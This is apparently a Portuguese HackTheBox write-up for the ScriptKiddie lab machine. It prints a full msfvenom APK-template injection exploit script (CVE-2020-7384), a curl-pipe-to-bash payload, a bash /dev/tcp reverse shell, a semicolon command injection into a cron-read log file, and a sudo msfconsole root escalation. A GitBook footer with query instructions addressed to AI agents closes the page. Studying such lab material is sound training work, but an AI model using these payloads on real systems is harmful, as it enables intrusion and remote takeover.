> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md).

# Resolução da máquina Scriptkiddie do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/ScriptKiddie>" %}

{% hint style="warning" %}
Habilidades:

* Exploração com Msfvenom (CVE-2020-7384) (RCE)
* Abusando de Logs + Tarefa Cron (Injeção de comandos e pivotagem de usuário)
* Abusando do privilégio Sudoers (elevação de privilégios no Msfconsole)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/a9ab3d2beecb8b62f931dedcff05322be8ede8b1" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/1b2c0d846208662599261a368439e4991c47e830" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts
```

<figure><img src="/files/1edf020dc7dd2fcb64f2fad3aec6113ed59ecbbc" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,5000 10.10.10.226 -oN targeted
```

<figure><img src="/files/64fe29e948b71c1860e840ef28874ff660ee30d4" alt=""><figcaption></figcaption></figure>

## Porta 5000 - Exploração TCI de APK com Msfvenom

<figure><img src="/files/c7b211c34f4e87a2f099542cdcd9798c1e1ba3db" alt=""><figcaption></figcaption></figure>

Identificamos um serviço vulnerável executando na porta 5000.

<figure><img src="/files/1ee8f6cf985f6843d7faa490956cd0b04b7d5919" alt=""><figcaption></figcaption></figure>

Fazemos uma busca por vulnerabilidades associadas:

```bash
searchsploit -m multiple/local/49491.py
```

Encontramos uma possível injeção via APK.

<figure><img src="/files/4c8968fa2969d5393f9b70643cb4a363f443bf39" alt="" width="557"><figcaption></figcaption></figure>

**Script de exploit (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Altere-me
payload = 'ping 10.10.14.50'

# usar b64encode para evitar badchars (keytool é exigente)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Fabricando apk malicioso")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Criar empty_file
open(empty_file, "w").close()

# Criar apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Gerar chave de assinatura com -dname malicioso
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Assinar o APK usando nosso dname malicioso
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Pronto! O apkfile está em {apk_file}")
print(f"Faça: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

O script gera um arquivo temporário contendo um APK malicioso.

<figure><img src="/files/e0c05fccd59ff46beacf28c55cee3e0c3db818af" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/488c7d9cea25c1a27198f046ace7ce7721b30585" alt=""><figcaption></figcaption></figure>

**Análise de pacotes ICMP**

Monitoramos a atividade de rede para detectar feedback:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/9eaefb2edafbf2661897a03ab8e0bf7f06a9448d" alt=""><figcaption></figcaption></figure>

### **Exploração de RCE com Msfvenom**

Modificamos o payload para estabelecer uma conexão reversa:

```bash
# Altere-me
payload = 'curl 10.10.14.50 | bash'
```

Criamos um `index.html` arquivo contendo:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Iniciamos um servidor HTTP:

```bash
python3 -m http.server 80
```

Depois, escutamos a conexão na porta 443:

```bash
nc -nlvp 443
```

Assim que o APK é enviado e executado na máquina alvo, obtemos uma shell remota.

<figure><img src="/files/b7aa999ed3694f7d68eaaec459481951f35ed9d8" alt=""><figcaption></figcaption></figure>

#### Estamos aprimorando nosso terminal para melhor interatividade:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/01bf965d053b236c513ff1a58d6775868d6ee6d3" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilégios**

### Pivotar para o usuário pwn

Encontramos um script `scanlosers` no diretório do usuário `pwn`:

```bash
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

Este script processa logs e executa `nmap`, que pode ser explorado para elevação de privilégios.

<figure><img src="/files/7d6210be1ac377ca0471724b2193145d79ae182c" alt=""><figcaption></figcaption></figure>

A ideia é injetar um comando aproveitando a filtragem pela terceira palavra. Podemos inserir um ponto e vírgula `;` seguido por um comando malicioso, como `curl` para um servidor controlado pelo atacante.

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers
```

Isso resulta em uma requisição HTTP para o nosso servidor.

<figure><img src="/files/85259a48e644313e080b2c29993413433607d1d0" alt=""><figcaption></figcaption></figure>

Escutamos em nossa máquina com:

```bash
nc -nlvp 443
```

Em seguida, injetamos um comando para obter uma shell remota:

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers
```

<figure><img src="/files/7574d39416a305d57807eeee9f5cef6613b3b082" alt=""><figcaption></figcaption></figure>

### Sudo - Metasploit

Verificamos o `sudo` as permissões:

```bash
sudo -l
```

<figure><img src="/files/77e877d10c8519303b1396a6cf92fc3126a3bf5f" alt=""><figcaption></figcaption></figure>

Descobrimos que podemos executar `Metasploit` como `root`:

```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

<figure><img src="/files/04b6076bbe7c767a96ce5b14336f9f40ddd5ee4f" alt=""><figcaption></figcaption></figure>

Em `msfconsole`, abrimos um shell Ruby interativo:

```ruby
irb
```

Em seguida, executamos um shell Bash:

```ruby
system("/bin/bash")
```

Agora estamos `root` e podemos ler a `root.txt` flag! 🎉

<figure><img src="/files/887eefd5cfbf28d0bf77de477b9f3b9d43147b53" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/4a81060ed61ba151895e1238ed93fcb790fe2330" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/44efe0c20741a187a61fd2ab5b62bad8a39773f8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
